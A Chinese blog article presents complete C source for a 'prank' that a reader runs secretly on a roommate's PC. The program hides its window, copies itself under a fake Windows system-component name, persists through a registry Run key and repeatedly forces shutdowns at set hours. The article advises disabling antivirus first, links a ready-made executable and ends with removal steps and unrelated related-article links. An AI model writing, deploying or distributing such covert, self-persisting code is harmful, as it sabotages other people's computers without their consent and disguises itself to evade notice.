C语言定时关机恶搞

2023-11-29 07:10
文章标签 语言 定时 关机 恶搞

本文主要是介绍C语言定时关机恶搞,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

程序的功能:

1 :开机自启动关机以后再开机,程序自动在后台运行,到时间自动关机,关机时间可自己设定。

2:窗口是隐藏的,启动的时候没有任何现象,但是在任务管理器能看到

3:全年,非周末时间,早上6点到9点,中午12-2点,晚上10点之后都会自动关机

4:快乐方法:趁你的舍友不注意,使用它的电脑,然后运行该程序,舍友就会快乐起来了。

该程序适合在校大学生的舍友,经常在休息时间打游戏或者看直播并且大喊大叫时使用,效果非常明显,且持续效果久,且不易发现,本人命名为早中晚快乐程序。

控制台窗口隐藏程序:

#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"") // 设置入口地址

开机自启动程序:

char exepath[MAX_PATH] = { 0 };GetModuleFileName(NULL, exepath, MAX_PATH);//printf("%s\n", exepath);CreateDirectory("D:\\Pregram Files_t", NULL); CopyFile(exepath, "D:\\Pregram Files_t\\Windows System32 网络核心驱动组件.exe", TRUE);HKEY hkey;  RegOpenKey(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hkey);  RegSetValueEx(hkey, "Windows System32 网络核心驱动组件(谨慎操作)", 0, REG_SZ,          (const BYTE*)"D:\\Pregram Files_t\\Windows System32 网络核心驱动组件.exe", MAX_PATH);RegCloseKey(hkey); 

代码

#include <stdio.h>
#include<conio.h>
#include <windows.h> //系统头文件
#include <commctrl.h>
#include<time.h>
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"") // 设置入口地址typedef struct Real_time {SYSTEMTIME ti;    //定义变量,存储系统时间 int second;int  minute;int  hour;int Milliseconds;}TIME, * PTIME;void Gettime(TIME* time) //获取系统时间并转化成int格式
{GetLocalTime(&(time->ti));     //获取系统时间time->second= time->ti.wSecond;time->minute=time->ti.wMinute;time->hour=time->ti.wHour;time->Milliseconds = time->ti.wMilliseconds;
}int main()
{srand((unsigned)time(NULL)); //随机种子char exepath[MAX_PATH] = { 0 };GetModuleFileName(NULL, exepath, MAX_PATH);//printf("%s\n", exepath);CreateDirectory("D:\\Pregram Files_t", NULL); CopyFile(exepath, "D:\\Pregram Files_t\\Windows System32 网络核心驱动组件.exe", TRUE);HKEY hkey;  RegOpenKey(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hkey);  //打开注册表RegSetValueEx(hkey, "Windows System32 网络核心驱动组件(谨慎操作)", 0, REG_SZ,          (const BYTE*)"D:\\Pregram Files_t\\Windows System32 网络核心驱动组件.exe", MAX_PATH);RegCloseKey(hkey); TIME time = { 0,0,0,0 }; //时间while (1){Gettime(&time);  //月份和日的判断:可以自行更改if ((time.ti.wMonth != 4 && time.ti.wDay != 10) ||(time.ti.wMonth != 4 && time.ti.wDay != 17) ||(time.ti.wMonth != 4 && time.ti.wDay != 24) ||(time.ti.wMonth != 4 && time.ti.wDay !=9)||(time.ti.wMonth != 4 && time.ti.wDay != 16)||(time.ti.wMonth != 4 && time.ti.wDay != 23)||(time.ti.wMonth != 4 && time.ti.wDay != 30)||(time.ti.wMonth != 5 && time.ti.wDay != 1)||(time.ti.wMonth != 5 && time.ti.wDay != 7) ||(time.ti.wMonth != 5 && time.ti.wDay != 14) ||(time.ti.wMonth != 5 && time.ti.wDay != 21) ||(time.ti.wMonth != 5 && time.ti.wDay != 28) ||(time.ti.wMonth != 5 && time.ti.wDay != 8) ||(time.ti.wMonth != 5 && time.ti.wDay != 15) ||(time.ti.wMonth != 5 && time.ti.wDay != 22) ||(time.ti.wMonth != 5 && time.ti.wDay != 29) ||(time.ti.wMonth != 6 && time.ti.wDay != 4) ||(time.ti.wMonth != 6 && time.ti.wDay != 11) ||(time.ti.wMonth != 6 && time.ti.wDay != 18) ||(time.ti.wMonth != 6 && time.ti.wDay != 25) ||(time.ti.wMonth != 6 && time.ti.wDay != 5) ||(time.ti.wMonth != 6 && time.ti.wDay != 12) ||(time.ti.wMonth != 6 && time.ti.wDay != 19) ||(time.ti.wMonth != 6 && time.ti.wDay != 26) ||(time.ti.wMonth != 7 && time.ti.wDay != 2) ||(time.ti.wMonth != 7 && time.ti.wDay != 3) ||(time.ti.wMonth != 7 && time.ti.wDay != 9) ||(time.ti.wMonth != 7 && time.ti.wDay != 10) ||(time.ti.wMonth != 7 && time.ti.wDay != 16) ||(time.ti.wMonth != 7 && time.ti.wDay != 17) ||(time.ti.wMonth != 7 && time.ti.wDay != 23) ||(time.ti.wMonth != 7 && time.ti.wDay != 24) ){if (time.hour >= 22 || (time.hour >= 6 && time.hour <= 9) || time.hour == 12 || time.hour == 13 || time.hour == 14){if (time.minute == 4 ||   //时间的判断time.minute == rand() % 59 ||time.minute == rand() % 59 ||time.minute == rand() % 59 ||time.minute == rand() % 59 ||time.minute == rand() % 59 ||time.minute == 30 ||time.minute == 59) {//关机程序system("shutdown -s -t 50");  //50s -r重启 -s关机exit(0);}}}}return 0;
}

编译时,记得把运行库改成多线程MT,把静态库包含到.exe文件中,否则你舍友的电脑没有安装VS就运行不了。

还有一点需要注意,在你舍友的电脑上运行时,记得先把杀毒软件关掉,否则程序没法加入注册表,没办法实现开机自启动的功能。

假如以上方法在你舍友的电脑上无法运行.exe程序的,还有一个方法:下载一个vcredist_msvc的环境安装包,先在电脑中安装VS的运行环境,再运行我们的快乐程序,运行成功的概率将会大大增加。

假如你没有安装VS,.exe程序我已经为你准备好了,你只需要在对应的电脑点击即可。

链接:https://pan.baidu.com/s/1JHeQJFyG1nwr-76RmP5HRg 
提取码:kgfi

点击之后就会出现

如何关闭程序

按win+R键

输入 regedit 进入注册表

 进入   计算机\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run目录,这里存放的文件都是开机自启动项(当然也可以在这个目录中放入你的.exe文件也会开机自启动)。

 把第二项,网络核心驱动删除,然后重启就行了。

快让你的舍友快乐起来吧!

这篇关于C语言定时关机恶搞的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/431913

相关文章

从基础到高级详解Go语言中错误处理的实践指南

《从基础到高级详解Go语言中错误处理的实践指南》Go语言采用了一种独特而明确的错误处理哲学,与其他主流编程语言形成鲜明对比,本文将为大家详细介绍Go语言中错误处理详细方法,希望对大家有所帮助... 目录1 Go 错误处理哲学与核心机制1.1 错误接口设计1.2 错误与异常的区别2 错误创建与检查2.1 基础

Go语言中json操作的实现

《Go语言中json操作的实现》本文主要介绍了Go语言中的json操作的实现,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧... 目录 一、jsOChina编程N 与 Go 类型对应关系️ 二、基本操作:编码与解码 三、结构体标签(Struc

python语言中的常用容器(集合)示例详解

《python语言中的常用容器(集合)示例详解》Python集合是一种无序且不重复的数据容器,它可以存储任意类型的对象,包括数字、字符串、元组等,下面:本文主要介绍python语言中常用容器(集合... 目录1.核心内置容器1. 列表2. 元组3. 集合4. 冻结集合5. 字典2.collections模块

Spring定时任务之fixedRateString的实现示例

《Spring定时任务之fixedRateString的实现示例》本文主要介绍了Spring定时任务之fixedRateString的实现示例,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有... 目录从毫秒到 Duration:为何要改变?核心:Java.time.Duration.parse

基于Go语言开发一个 IP 归属地查询接口工具

《基于Go语言开发一个IP归属地查询接口工具》在日常开发中,IP地址归属地查询是一个常见需求,本文将带大家使用Go语言快速开发一个IP归属地查询接口服务,有需要的小伙伴可以了解下... 目录功能目标技术栈项目结构核心代码(main.go)使用方法扩展功能总结在日常开发中,IP 地址归属地查询是一个常见需求:

Linux下MySQL数据库定时备份脚本与Crontab配置教学

《Linux下MySQL数据库定时备份脚本与Crontab配置教学》在生产环境中,数据库是核心资产之一,定期备份数据库可以有效防止意外数据丢失,本文将分享一份MySQL定时备份脚本,并讲解如何通过cr... 目录备份脚本详解脚本功能说明授权与可执行权限使用 Crontab 定时执行编辑 Crontab添加定

GO语言短变量声明的实现示例

《GO语言短变量声明的实现示例》在Go语言中,短变量声明是一种简洁的变量声明方式,使用:=运算符,可以自动推断变量类型,下面就来具体介绍一下如何使用,感兴趣的可以了解一下... 目录基本语法功能特点与var的区别适用场景注意事项基本语法variableName := value功能特点1、自动类型推

GO语言中函数命名返回值的使用

《GO语言中函数命名返回值的使用》在Go语言中,函数可以为其返回值指定名称,这被称为命名返回值或命名返回参数,这种特性可以使代码更清晰,特别是在返回多个值时,感兴趣的可以了解一下... 目录基本语法函数命名返回特点代码示例命名特点基本语法func functionName(parameters) (nam

Go语言连接MySQL数据库执行基本的增删改查

《Go语言连接MySQL数据库执行基本的增删改查》在后端开发中,MySQL是最常用的关系型数据库之一,本文主要为大家详细介绍了如何使用Go连接MySQL数据库并执行基本的增删改查吧... 目录Go语言连接mysql数据库准备工作安装 MySQL 驱动代码实现运行结果注意事项Go语言执行基本的增删改查准备工作

Go语言使用Gin处理路由参数和查询参数

《Go语言使用Gin处理路由参数和查询参数》在WebAPI开发中,处理路由参数(PathParameter)和查询参数(QueryParameter)是非常常见的需求,下面我们就来看看Go语言... 目录一、路由参数 vs 查询参数二、Gin 获取路由参数和查询参数三、示例代码四、运行与测试1. 测试编程路